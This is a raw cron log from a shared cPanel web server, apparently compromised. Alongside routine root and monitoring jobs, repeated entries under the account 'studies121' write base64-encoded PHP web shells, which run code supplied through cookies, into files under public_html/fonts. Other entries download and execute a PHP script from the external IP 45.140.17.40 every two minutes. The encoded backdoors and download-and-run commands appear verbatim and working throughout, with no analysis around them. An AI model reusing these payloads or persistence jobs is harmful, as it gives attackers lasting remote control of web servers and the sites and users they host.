Sep  1 15:15:01 ip-184-168-122-23 CROND[13191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:15:01 ip-184-168-122-23 CROND[13193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:15:01 ip-184-168-122-23 CROND[13196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:16:01 ip-184-168-122-23 CROND[13280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:16:01 ip-184-168-122-23 CROND[13281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:16:01 ip-184-168-122-23 CROND[13285]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:16:01 ip-184-168-122-23 CROND[13286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:16:01 ip-184-168-122-23 CROND[13284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:16:01 ip-184-168-122-23 CROND[13288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:17:01 ip-184-168-122-23 CROND[13369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:17:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:17:01 ip-184-168-122-23 CROND[13372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:17:01 ip-184-168-122-23 CROND[13371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:18:01 ip-184-168-122-23 CROND[13455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:18:01 ip-184-168-122-23 CROND[13457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:18:01 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:18:01 ip-184-168-122-23 CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:18:01 ip-184-168-122-23 CROND[13460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:19:01 ip-184-168-122-23 CROND[13543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:19:01 ip-184-168-122-23 CROND[13547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:19:01 ip-184-168-122-23 CROND[13545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:19:01 ip-184-168-122-23 CROND[13546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:20:01 ip-184-168-122-23 CROND[13739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:20:01 ip-184-168-122-23 CROND[13740]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:20:01 ip-184-168-122-23 CROND[13746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:21:01 ip-184-168-122-23 CROND[13863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:21:01 ip-184-168-122-23 CROND[13867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:21:01 ip-184-168-122-23 CROND[13865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:21:01 ip-184-168-122-23 CROND[13866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:22:01 ip-184-168-122-23 CROND[13985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:22:01 ip-184-168-122-23 CROND[13986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:22:01 ip-184-168-122-23 CROND[13988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:22:01 ip-184-168-122-23 CROND[13990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:22:01 ip-184-168-122-23 CROND[13992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:23:01 ip-184-168-122-23 CROND[14101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:23:01 ip-184-168-122-23 CROND[14102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:23:01 ip-184-168-122-23 CROND[14103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:23:01 ip-184-168-122-23 CROND[14105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:24:01 ip-184-168-122-23 CROND[14219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:24:01 ip-184-168-122-23 CROND[14220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:24:01 ip-184-168-122-23 CROND[14218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:24:01 ip-184-168-122-23 CROND[14224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:24:01 ip-184-168-122-23 CROND[14223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:25:01 ip-184-168-122-23 CROND[14421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:25:01 ip-184-168-122-23 CROND[14423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:25:01 ip-184-168-122-23 CROND[14425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:25:01 ip-184-168-122-23 CROND[14426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:25:01 ip-184-168-122-23 CROND[14424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:25:01 ip-184-168-122-23 CROND[14427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:26:01 ip-184-168-122-23 CROND[14525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:26:01 ip-184-168-122-23 CROND[14527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:26:01 ip-184-168-122-23 CROND[14526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:26:01 ip-184-168-122-23 CROND[14530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:26:01 ip-184-168-122-23 CROND[14533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:27:01 ip-184-168-122-23 CROND[14658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:27:01 ip-184-168-122-23 CROND[14659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:27:01 ip-184-168-122-23 CROND[14660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
